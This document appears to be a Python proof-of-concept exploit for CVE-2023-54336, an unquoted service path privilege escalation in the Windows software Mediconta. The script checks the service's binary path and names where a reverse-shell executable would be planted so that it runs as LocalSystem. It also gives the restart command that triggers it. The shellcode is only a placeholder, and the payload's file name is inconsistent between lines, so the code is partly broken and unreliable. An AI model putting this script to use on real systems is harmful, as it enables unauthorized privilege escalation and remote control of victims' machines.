CVE-2023-54336 Mediconta未引用服务路径权限提升漏洞

# CVE-2023-54336 PoC - Unquoted Service Path in Mediconta # This PoC demonstrates how to exploit the unquoted service path vulnerability # to escalate privileges on Windows systems with Mediconta installed. import os import subprocess import shutil def check_vulnerability(): """Check if Mediconta service is installed and vulnerable""" try: # Check if the service exists result = subprocess.run( ['sc', 'qc', 'servermedicontservice'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: path_line = [line for line in result.stdout.split('\n') if 'BINARY_PATH_NAME' in line] if path_line: print(f"[+] Service path: {path_line[0]}") return True except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a reverse shell payload as medictont3.exe""" malicious_path = r'C:\Program Files (x86)\medicont3.exe' # Create a simple executable that creates a privileged reverse shell # This is a simplified example - actual attack would use meterpreter or similar shellcode = bytes([ 0x90, 0x90, 0x90, 0x90, # NOP sled # Add your actual shellcode here ]) # In a real attack scenario, you would generate a proper executable # For demonstration, we show the concept: print(f"[*] Malicious executable would be created at: {malicious_path}") print("[*] When servermedicontservice starts, it will execute medictont3.exe") print("[*] The malicious code runs with LocalSystem privileges") def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2023-54336 Mediconta Unquoted Service Path Exploit") print("=" * 60) if check_vulnerability(): print("[+] Mediconta service found and potentially vulnerable") create_malicious_executable() print("[+] Attack vector established") print("[*] Wait for service restart or trigger manually: sc stop servermedicontservice && sc start servermedicontservice") else: print("[-] Service not found or not vulnerable") if __name__ == '__main__': exploit()